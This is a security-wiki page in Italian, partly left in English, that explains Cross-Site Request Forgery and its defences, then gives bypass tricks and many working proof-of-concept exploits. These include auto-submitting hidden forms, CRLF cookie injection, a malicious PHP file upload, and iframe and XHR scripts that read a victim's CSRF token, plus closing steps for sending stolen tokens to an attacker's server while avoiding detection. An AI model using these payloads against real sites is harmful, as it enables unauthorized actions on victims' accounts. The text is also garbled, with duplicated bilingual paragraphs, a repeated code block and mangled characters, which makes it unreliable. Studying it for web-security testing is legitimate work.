50 KiB
CSRF (Cross Site Request Forgery)
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!
Hacking Insights
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
Notizie sull'hacking in tempo reale
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
Ultime novità
Rimani informato sul lancio delle nuove bug bounty e sugli aggiornamenti cruciali delle piattaforme
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!
Cross-Site Request Forgery (CSRF) Spiegato
Cross-Site Request Forgery (CSRF) è un tipo di vulnerabilità di sicurezza riscontrata nelle applicazioni web. Consente agli attaccanti di eseguire azioni a nome di utenti ignari sfruttando le loro sessioni autenticate. L'attacco viene eseguito quando un utente, che è connesso a una piattaforma vittima, visita un sito malevolo. Questo sito quindi attiva richieste verso l'account della vittima attraverso metodi come l'esecuzione di JavaScript, l'invio di moduli o il recupero di immagini.
Prerequisiti per un Attacco CSRF
Per sfruttare una vulnerabilità CSRF, devono essere soddisfatte diverse condizioni:
- Identificare un'azione di valore: L'attaccante deve individuare un'azione degna di sfruttamento, come cambiare la password dell'utente, l'email o elevare i privilegi.
- Gestione della sessione: La sessione dell'utente dovrebbe essere gestita esclusivamente tramite cookie o l'intestazione di autenticazione di base HTTP, poiché altre intestazioni non possono essere manipolate per questo scopo.
- Assenza di parametri imprevedibili: La richiesta non dovrebbe contenere parametri imprevedibili, in quanto possono impedire l'attacco.
Difendersi da CSRF
Sono possibili diverse contromisure per proteggersi dagli attacchi CSRF:
- Cookie SameSite: Questo attributo impedisce al browser di inviare i cookie insieme alle richieste da siti diversi. Maggiori informazioni sui cookie SameSite.
- Cross-origin resource sharing: La politica CORS del sito vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede la lettura della risposta dal sito vittima. Scopri come bypassare CORS.
- Verifica dell'utente: Richiedere la password dell'utente o risolvere un captcha può confermare l'intento dell'utente.
- Verifica degli Intestazioni Referrer o Origin: La convalida di queste intestazioni può contribuire a garantire che le richieste provengano da fonti affidabili. Tuttavia, la creazione attenta di URL può eludere controlli implementati in modo non corretto, ad esempio:
- Utilizzando
http://mal.net?orig=http://example.com
(l'URL termina con l'URL attendibile) - Utilizzando
http://example.com.mal.net
(l'URL inizia con l'URL attendibile)
- Modifica dei nomi dei parametri: Modificare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
- Token CSRF: Incorporare un token CSRF univoco in ogni sessione e richiedere questo token nelle richieste successive può mitigare significativamente il rischio di CSRF. L'efficacia del token può essere migliorata mediante l'applicazione di CORS.
Comprendere e implementare queste difese è fondamentale per mantenere la sicurezza e l'integrità delle applicazioni web.
Bypass delle Difese
Da POST a GET
Forse il modulo che vuoi sfruttare è predisposto per inviare una richiesta POST con un token CSRF, ma dovresti verificare se un GET è anche valido e se quando invii una richiesta GET il token CSRF viene ancora convalidato.
Assenza di token
Le applicazioni potrebbero implementare un meccanismo per convalidare i token quando sono presenti. Tuttavia, si crea una vulnerabilità se la convalida viene completamente saltata quando il token è assente. Gli attaccanti possono sfruttare ciò rimuovendo il parametro che contiene il token, non solo il suo valore. Ciò consente loro di eludere il processo di convalida e condurre un attacco di Cross-Site Request Forgery (CSRF) in modo efficace.
Il token CSRF non è legato alla sessione dell'utente
Le applicazioni che non legano i token CSRF alle sessioni degli utenti presentano un significativo rischio per la sicurezza. Questi sistemi verificano i token in un pool globale anziché assicurarsi che ogni token sia legato alla sessione di iniziativa.
Ecco come gli attaccanti sfruttano questa vulnerabilità:
- Autenticarsi utilizzando il proprio account.
- Ottenere un token CSRF valido dal pool globale.
- Utilizzare questo token in un attacco CSRF contro una vittima.
Questa vulnerabilità consente agli attaccanti di effettuare richieste non autorizzate a nome della vittima, sfruttando il meccanismo di convalida del token inadeguato dell'applicazione.
Bypass del metodo
Se la richiesta utilizza un metodo "strano", verifica se la funzionalità di override del metodo funziona. Ad esempio, se viene utilizzato un metodo PUT, puoi provare a utilizzare un metodo POST e inviare: https://example.com/my/dear/api/val/num?_method=PUT
Questo potrebbe funzionare anche inviando il parametro _method all'interno di una richiesta POST o utilizzando gli intestazioni:
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
Bypass del token dell'intestazione personalizzata
Se la richiesta aggiunge un intestazione personalizzata con un token alla richiesta come metodo di protezione CSRF, allora:
- Testa la richiesta senza il Token personalizzato e anche l'intestazione.
- Testa la richiesta con una lunghezza esattamente uguale ma con un token diverso.
Il token CSRF viene verificato da un cookie
Le applicazioni possono implementare la protezione CSRF duplicando il token sia in un cookie che in un parametro della richiesta o impostando un cookie CSRF e verificando se il token inviato nel backend corrisponde al cookie. L'applicazione convalida le richieste verificando se il token nel parametro della richiesta corrisponde al valore nel cookie.
Tuttavia, questo metodo è vulnerabile agli attacchi CSRF se il sito web presenta difetti che consentono a un attaccante di impostare un cookie CSRF nel browser della vittima, come una vulnerabilità CRLF. L'attaccante può sfruttare ciò caricando un'immagine ingannevole che imposta il cookie, seguita dall'inizio dell'attacco CSRF.
Di seguito è riportato un esempio di come potrebbe essere strutturato un attacco:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
{% hint style="info" %} Si noti che se il token csrf è correlato al cookie di sessione, questo attacco non funzionerà perché sarà necessario impostare la tua sessione come vittima e quindi ti stai attaccando da solo. {% endhint %}
Cambio Content-Type
Secondo questo, per evitare richieste di preflight utilizzando il metodo POST, questi sono i valori consentiti per Content-Type:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Tuttavia, si noti che la logica dei server può variare a seconda del Content-Type utilizzato, quindi è consigliabile provare i valori menzionati e altri come application/json
,text/xml
, application/xml
.
Esempio (da qui) di invio di dati JSON come text/plain:
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
Bypassare le richieste di preflight per i dati JSON
Quando si tenta di inviare dati JSON tramite una richiesta POST, non è possibile utilizzare direttamente Content-Type: application/json
in un modulo HTML. Allo stesso modo, l'utilizzo di XMLHttpRequest
per inviare questo tipo di contenuto avvia una richiesta di preflight. Tuttavia, esistono strategie per potenzialmente bypassare questa limitazione e verificare se il server elabora i dati JSON indipendentemente dal Content-Type:
-
Utilizzare tipi di contenuto alternativi: Utilizzare
Content-Type: text/plain
oContent-Type: application/x-www-form-urlencoded
impostandoenctype="text/plain"
nel modulo. Questo approccio verifica se il backend utilizza i dati indipendentemente dal Content-Type. -
Modificare il tipo di contenuto: Per evitare una richiesta di preflight garantendo al contempo che il server riconosca il contenuto come JSON, è possibile inviare i dati con
Content-Type: text/plain; application/json
. Questo non avvia una richiesta di preflight, ma potrebbe essere elaborato correttamente dal server se è configurato per accettareapplication/json
. -
Utilizzo di un file SWF Flash: Un metodo meno comune ma fattibile prevede l'utilizzo di un file SWF Flash per bypassare tali restrizioni. Per una comprensione approfondita di questa tecnica, fare riferimento a questo post.
Bypass del controllo Referrer / Origin
Evitare l'header Referrer
Le applicazioni possono convalidare l'header 'Referer' solo quando è presente. Per impedire al browser di inviare questo header, è possibile utilizzare il seguente tag meta HTML:
<meta name="referrer" content="never">
Ciò assicura che l'intestazione 'Referer' venga omessa, potenzialmente eludendo i controlli di convalida in alcune applicazioni.
Bypass tramite Regexp
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Per impostare il nome di dominio del server nell'URL che il Referrer invierà all'interno dei parametri, puoi fare:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
Bypass del metodo HEAD
La prima parte di questo writeup CTF spiega che nel codice sorgente di Oak, un router è impostato per gestire le richieste HEAD come richieste GET senza corpo di risposta - una soluzione comune che non è unica a Oak. Invece di un gestore specifico per le richieste HEAD, vengono semplicemente passate al gestore GET ma l'applicazione rimuove semplicemente il corpo di risposta.
Pertanto, se una richiesta GET viene limitata, è possibile inviare una richiesta HEAD che verrà elaborata come una richiesta GET.
Esempi di exploit
Esfiltrazione del token CSRF
Se viene utilizzato un token CSRF come difesa, è possibile provare a esfiltrarlo sfruttando una vulnerabilità XSS o una vulnerabilità Dangling Markup.
GET utilizzando tag HTML
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Altri tag HTML5 che possono essere utilizzati per inviare automaticamente una richiesta GET sono:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">
Richiesta GET tramite form
In alcuni casi, le applicazioni web utilizzano il metodo GET per inviare dati al server tramite un form. Questo può creare una vulnerabilità CSRF (Cross-Site Request Forgery) se non vengono adottate le adeguate misure di sicurezza.
Funzionamento
Quando viene inviato un form tramite il metodo GET, i dati vengono inclusi direttamente nell'URL come parametri di query. Ad esempio:
<form action="https://www.example.com/update_profile" method="GET">
<input type="text" name="username" value="hacker">
<input type="submit" value="Update Profile">
</form>
In questo caso, quando l'utente invia il form, il browser effettuerà una richiesta GET all'URL https://www.example.com/update_profile?username=hacker
.
Vulnerabilità CSRF
La vulnerabilità CSRF si verifica quando un attaccante riesce a convincere un utente autenticato a visitare una pagina malevola che contiene un form GET. Quando l'utente visita questa pagina, il browser invierà automaticamente la richiesta GET al server, includendo i dati sensibili dell'utente come parametri di query.
Ad esempio, un attaccante potrebbe creare una pagina malevola che contiene un form GET per modificare la password dell'utente:
<form action="https://www.example.com/change_password" method="GET">
<input type="hidden" name="password" value="new_password">
<input type="submit" value="Change Password">
</form>
Se l'utente autenticato visita questa pagina, il browser invierà automaticamente una richiesta GET all'URL https://www.example.com/change_password?password=new_password
, modificando così la password dell'utente senza il suo consenso.
Prevenzione
Per prevenire attacchi CSRF tramite form GET, è possibile adottare le seguenti misure di sicurezza:
- Utilizzare il metodo POST invece del metodo GET per inviare dati sensibili al server.
- Implementare un meccanismo di token CSRF per verificare l'autenticità delle richieste.
- Verificare l'origine delle richieste tramite l'header
Referer
o l'headerOrigin
.
Implementando queste misure di sicurezza, è possibile mitigare il rischio di attacchi CSRF tramite form GET e proteggere le applicazioni web da potenziali violazioni della sicurezza.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Richiesta POST del modulo
To perform a Cross-Site Request Forgery (CSRF) attack, an attacker can use a form POST request. This type of attack occurs when a malicious website tricks a user's browser into submitting a form to a target website without the user's knowledge or consent.
Per eseguire un attacco di Cross-Site Request Forgery (CSRF), un attaccante può utilizzare una richiesta POST del modulo. Questo tipo di attacco si verifica quando un sito web maligno inganna il browser dell'utente nel presentare un modulo a un sito web di destinazione senza il consenso o la conoscenza dell'utente.
The attacker crafts a form on their malicious website that mimics the form on the target website. This form is then automatically submitted to the target website when the user visits the attacker's site. The user's browser includes any cookies associated with the target website, making the request appear legitimate.
L'attaccante crea un modulo sul proprio sito web maligno che imita il modulo sul sito web di destinazione. Questo modulo viene quindi inviato automaticamente al sito web di destinazione quando l'utente visita il sito dell'attaccante. Il browser dell'utente include tutti i cookie associati al sito web di destinazione, rendendo la richiesta apparentemente legittima.
To protect against CSRF attacks, web applications can implement measures such as using anti-CSRF tokens or checking the origin of the request. Developers should also ensure that sensitive actions, such as changing passwords or making financial transactions, require additional authentication steps.
Per proteggersi dagli attacchi CSRF, le applicazioni web possono implementare misure come l'utilizzo di token anti-CSRF o il controllo dell'origine della richiesta. Gli sviluppatori dovrebbero anche assicurarsi che azioni sensibili, come il cambio di password o le transazioni finanziarie, richiedano passaggi di autenticazione aggiuntivi.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
Richiesta POST del modulo tramite iframe
An attacker can exploit Cross-Site Request Forgery (CSRF) vulnerabilities by tricking a victim into submitting a form without their knowledge or consent. One way to achieve this is by using an iframe.
Un attaccante può sfruttare le vulnerabilità di Cross-Site Request Forgery (CSRF) ingannando una vittima affinché invii un modulo senza il suo consenso o conoscenza. Un modo per ottenere ciò è utilizzando un iframe.
The attacker can create a webpage that contains an invisible iframe pointing to the target website's form submission URL. The attacker can then use JavaScript to automatically submit the form within the iframe, using the victim's session cookies.
L'attaccante può creare una pagina web che contiene un iframe invisibile che punta all'URL di invio del modulo del sito di destinazione. L'attaccante può quindi utilizzare JavaScript per inviare automaticamente il modulo all'interno dell'iframe, utilizzando i cookie di sessione della vittima.
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target-website.com/submit-form" method="POST" target="csrf-frame">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
<input type="submit" value="Submit">
</form>
The attacker embeds the form within the iframe, ensuring that the form's target attribute points to the iframe's name. When the victim visits the attacker's webpage, the form is automatically submitted within the hidden iframe, without the victim's knowledge.
L'attaccante incorpora il modulo all'interno dell'iframe, assicurandosi che l'attributo target del modulo punti al nome dell'iframe. Quando la vittima visita la pagina web dell'attaccante, il modulo viene inviato automaticamente all'interno dell'iframe nascosto, senza il consenso della vittima.
This technique allows the attacker to perform actions on behalf of the victim, as the victim's session cookies are automatically included in the form submission. This can lead to unauthorized actions being performed by the victim without their knowledge.
Questa tecnica consente all'attaccante di eseguire azioni a nome della vittima, poiché i cookie di sessione della vittima vengono automaticamente inclusi nell'invio del modulo. Ciò può portare all'esecuzione di azioni non autorizzate dalla vittima senza il suo consenso.
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Richiesta POST Ajax
An Ajax POST request is a type of HTTP request that is sent asynchronously from a web page to a server using the Ajax technology. This type of request allows data to be sent to the server without requiring the page to be refreshed.
Una richiesta POST Ajax è un tipo di richiesta HTTP che viene inviata in modo asincrono da una pagina web a un server utilizzando la tecnologia Ajax. Questo tipo di richiesta consente di inviare dati al server senza richiedere il ricaricamento della pagina.
$.ajax({
url: "/endpoint",
type: "POST",
data: {
param1: "value1",
param2: "value2"
},
success: function(response) {
console.log(response);
},
error: function(xhr, status, error) {
console.error(error);
}
});
$.ajax({
url: "/endpoint",
type: "POST",
data: {
param1: "value1",
param2: "value2"
},
success: function(response) {
console.log(response);
},
error: function(xhr, status, error) {
console.error(error);
}
});
In the example above, an Ajax POST request is made to the "/endpoint" URL with two parameters, "param1" and "param2", and their respective values. The success function is called when the request is successful, and the response from the server is logged to the console. If an error occurs, the error function is called and the error message is logged to the console.
Nell'esempio sopra, viene effettuata una richiesta POST Ajax all'URL "/endpoint" con due parametri, "param1" e "param2", e i rispettivi valori. La funzione success viene chiamata quando la richiesta ha successo e la risposta dal server viene registrata nella console. Se si verifica un errore, viene chiamata la funzione error e il messaggio di errore viene registrato nella console.
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2"
})
</script>
Richiesta POST multipart/form-data
A multipart/form-data
POST request is commonly used to submit data, especially files, through HTML forms. This type of request allows for the transmission of binary data, such as images or documents, along with other form fields.
In a multipart/form-data
request, the data is divided into multiple parts, each with its own set of headers and a unique identifier. These parts are then combined and sent as the body of the HTTP request.
To create a multipart/form-data
POST request, you need to set the Content-Type
header to multipart/form-data
and format the request body accordingly. Each part of the request body should be separated by a boundary, which is a unique string that does not appear in the data.
Here is an example of a multipart/form-data
POST request:
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------1234567890
-----------------------------1234567890
Content-Disposition: form-data; name="username"
john.doe
-----------------------------1234567890
Content-Disposition: form-data; name="profile_picture"; filename="picture.jpg"
Content-Type: image/jpeg
[Binary data of the image]
-----------------------------1234567890--
In the example above, the request body consists of two parts. The first part contains a form field named "username" with the value "john.doe". The second part contains a file upload field named "profile_picture" with the filename "picture.jpg" and the corresponding binary data of the image.
When handling multipart/form-data
requests on the server-side, it is important to validate and sanitize the incoming data to prevent any potential security vulnerabilities, such as Cross-Site Scripting (XSS) or Cross-Site Request Forgery (CSRF) attacks.
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
Richiesta POST multipart/form-data v2
In some cases, web applications use the multipart/form-data
content type for POST requests. This content type is commonly used when uploading files or submitting forms with binary data.
In order to perform a CSRF attack on a multipart/form-data
POST request, the attacker needs to understand the structure of the request and manipulate the necessary parameters.
The structure of a multipart/form-data
POST request consists of multiple parts, each containing a header and a body. The header specifies the name and content type of the part, while the body contains the actual data.
To successfully forge a CSRF attack on this type of request, the attacker needs to modify the values of the desired parameters within the request body. This can be achieved by intercepting the request and modifying the values accordingly.
It's important to note that the multipart/form-data
requests are not automatically sent by browsers in cross-origin scenarios. However, if the target application does not implement proper CSRF protection, an attacker can trick a user into performing the malicious action by luring them to a specially crafted website.
To prevent CSRF attacks on multipart/form-data
POST requests, it is recommended to implement proper CSRF protection mechanisms such as the usage of anti-CSRF tokens. These tokens should be included in the request body and validated on the server-side to ensure the authenticity of the request.
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
Richiesta POST del modulo da all'interno di un iframe
In some cases, an attacker may attempt to perform a Cross-Site Request Forgery (CSRF) attack by embedding a malicious form within an iframe on a vulnerable website. When a user visits the compromised website, the form is automatically submitted without their knowledge or consent.
In alcuni casi, un attaccante può tentare di eseguire un attacco di Cross-Site Request Forgery (CSRF) incorporando un modulo maligno all'interno di un iframe su un sito web vulnerabile. Quando un utente visita il sito compromesso, il modulo viene inviato automaticamente senza il loro consenso o conoscenza.
To achieve this, the attacker typically creates a webpage that contains an iframe pointing to the target website. The iframe is hidden from the user's view, ensuring that they are unaware of its presence. Within the iframe, the attacker includes a form with the desired payload and sets the form's action
attribute to the target website's endpoint.
Per realizzare ciò, l'attaccante di solito crea una pagina web che contiene un iframe che punta al sito web di destinazione. L'iframe è nascosto dalla vista dell'utente, garantendo che non ne sia consapevole. All'interno dell'iframe, l'attaccante include un modulo con il payload desiderato e imposta l'attributo action
del modulo sull'endpoint del sito web di destinazione.
When the victim visits the compromised website, the iframe loads the target website in a hidden manner. As a result, the form within the iframe is automatically submitted to the target website, potentially causing actions to be performed on behalf of the victim.
Quando la vittima visita il sito web compromesso, l'iframe carica il sito web di destinazione in modo nascosto. Di conseguenza, il modulo all'interno dell'iframe viene inviato automaticamente al sito web di destinazione, potenzialmente causando l'esecuzione di azioni a nome della vittima.
To prevent this type of attack, web developers should implement measures such as using anti-CSRF tokens, validating the origin of requests, and implementing strict content security policies.
Per prevenire questo tipo di attacco, gli sviluppatori web dovrebbero adottare misure come l'utilizzo di token anti-CSRF, la validazione dell'origine delle richieste e l'implementazione di politiche di sicurezza dei contenuti rigorose.
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Rubare il token CSRF e inviare una richiesta POST
To perform a CSRF attack, you first need to steal the CSRF token from the target website. This token is usually embedded in the HTML source code or included as a cookie. Once you have obtained the token, you can use it to craft a malicious POST request.
To steal the CSRF token, you can use various techniques such as:
-
Cross-Site Scripting (XSS): If the target website is vulnerable to XSS, you can inject a malicious script that will extract the CSRF token and send it to your server.
-
Man-in-the-Middle (MitM): By intercepting the communication between the target user and the website, you can capture the CSRF token when it is transmitted.
-
Cross-Site Script Inclusion (XSSI): If the target website includes external scripts that are vulnerable to XSSI, you can exploit this vulnerability to extract the CSRF token.
Once you have obtained the CSRF token, you can craft a POST request to perform actions on behalf of the target user. This can include changing account settings, making purchases, or performing any other action that the user is authorized to do.
To send the malicious POST request, you can use tools like cURL or write a custom script in a programming language of your choice. Make sure to include the stolen CSRF token in the request headers or body, depending on how the target website expects it.
It is important to note that CSRF attacks can be prevented by implementing proper security measures such as:
-
CSRF tokens: Websites can generate unique tokens for each user session and include them in every request. This way, the server can verify the authenticity of the request.
-
SameSite cookies: By setting the SameSite attribute to "Strict" or "Lax" in cookies, websites can prevent them from being sent in cross-site requests.
-
Referer header validation: Websites can check the Referer header to ensure that requests originate from the same domain.
By understanding how CSRF attacks work and implementing the necessary security measures, you can protect your website and users from this type of attack.
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
Rubare il token CSRF e inviare una richiesta Post utilizzando un iframe, un form e Ajax
Un attaccante può rubare il token CSRF di un utente e utilizzarlo per inviare una richiesta Post fraudolenta. Questo può essere fatto utilizzando un iframe, un form e Ajax.
- L'attaccante crea un iframe nascosto nel proprio sito web che punta all'endpoint di destinazione dell'applicazione vittima.
<iframe id="csrf-frame" style="display:none;"></iframe>
- L'attaccante crea un form nascosto nel proprio sito web con i campi necessari per la richiesta Post.
<form id="csrf-form" action="https://www.vittima.com/endpoint" method="POST">
<input type="hidden" name="param1" value="valore1">
<input type="hidden" name="param2" value="valore2">
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_RUBATO">
</form>
- L'attaccante utilizza Ajax per inviare la richiesta Post utilizzando il token CSRF rubato.
<script>
var csrfFrame = document.getElementById('csrf-frame');
var csrfForm = document.getElementById('csrf-form');
csrfFrame.onload = function() {
var csrfToken = csrfFrame.contentWindow.document.getElementsByName('csrf_token')[0].value;
csrfForm.csrf_token.value = csrfToken;
csrfForm.submit();
};
csrfFrame.src = 'https://www.vittima.com/pagina-con-form';
</script>
Quando un utente visita il sito web dell'attaccante, l'iframe nascosto caricherà la pagina di destinazione dell'applicazione vittima che contiene il form. L'iframe aggiornerà quindi il valore del token CSRF nel form con quello rubato. Infine, l'attaccante invierà la richiesta Post utilizzando il form modificato e il token CSRF rubato.
In questo modo, l'attaccante può sfruttare la vulnerabilità CSRF per eseguire azioni non autorizzate a nome dell'utente vittima. È importante che gli sviluppatori implementino adeguate misure di protezione, come l'utilizzo di token CSRF con validità limitata e l'implementazione di controlli di riferimento dell'origine (Origin Referer) per mitigare questo tipo di attacco.
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
Rubare il token CSRF e inviare una richiesta POST utilizzando un iframe e un modulo
Un attacco CSRF (Cross-Site Request Forgery) sfrutta la fiducia che un'applicazione web ha nei confronti di un utente autenticato. L'obiettivo è ingannare l'utente affinché esegua azioni non volute senza il suo consenso.
Un modo comune per eseguire un attacco CSRF è rubare il token CSRF dell'utente e utilizzarlo per inviare una richiesta POST. Questo può essere fatto utilizzando un iframe e un modulo nascosto.
Ecco come funziona:
-
L'attaccante crea una pagina web che contiene un iframe invisibile. L'URL dell'iframe punta all'endpoint dell'applicazione web che si desidera attaccare.
-
L'attaccante inserisce un modulo nascosto all'interno dell'iframe. Il modulo contiene i campi necessari per eseguire la richiesta POST desiderata, inclusi il token CSRF rubato e i valori dei parametri appropriati.
-
Quando l'utente visita la pagina web dell'attaccante, l'iframe viene caricato in modo invisibile. Poiché l'utente è autenticato nell'applicazione web, il browser invierà automaticamente il token CSRF come parte della richiesta.
-
L'applicazione web riceve la richiesta POST contenente il token CSRF valido e i parametri desiderati. Poiché la richiesta sembra provenire dall'utente autenticato, l'applicazione web la considera legittima e la elabora.
In questo modo, l'attaccante può sfruttare la fiducia dell'applicazione web nell'utente autenticato per eseguire azioni non autorizzate a nome dell'utente.
Per proteggersi da attacchi CSRF, le applicazioni web possono implementare misure come l'utilizzo di token CSRF che cambiano ad ogni richiesta, l'uso di header personalizzati o l'implementazione di controlli di riferimento dell'origine (CORS).
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
Rubare il token e inviarlo utilizzando 2 iframe
To steal a CSRF token and send it using 2 iframes, follow these steps:
- Identify the target website that uses CSRF tokens for authentication or authorization.
- Set up a malicious website or page that will be used to steal the token.
- Create two iframes on the malicious website or page.
- Load the target website in one of the iframes.
- Use JavaScript to extract the CSRF token from the loaded page.
- Send the stolen token to your own server or any other desired destination using the second iframe.
- Ensure that the stolen token is securely transmitted to avoid detection.
- Once the stolen token is received, it can be used to perform unauthorized actions on the target website.
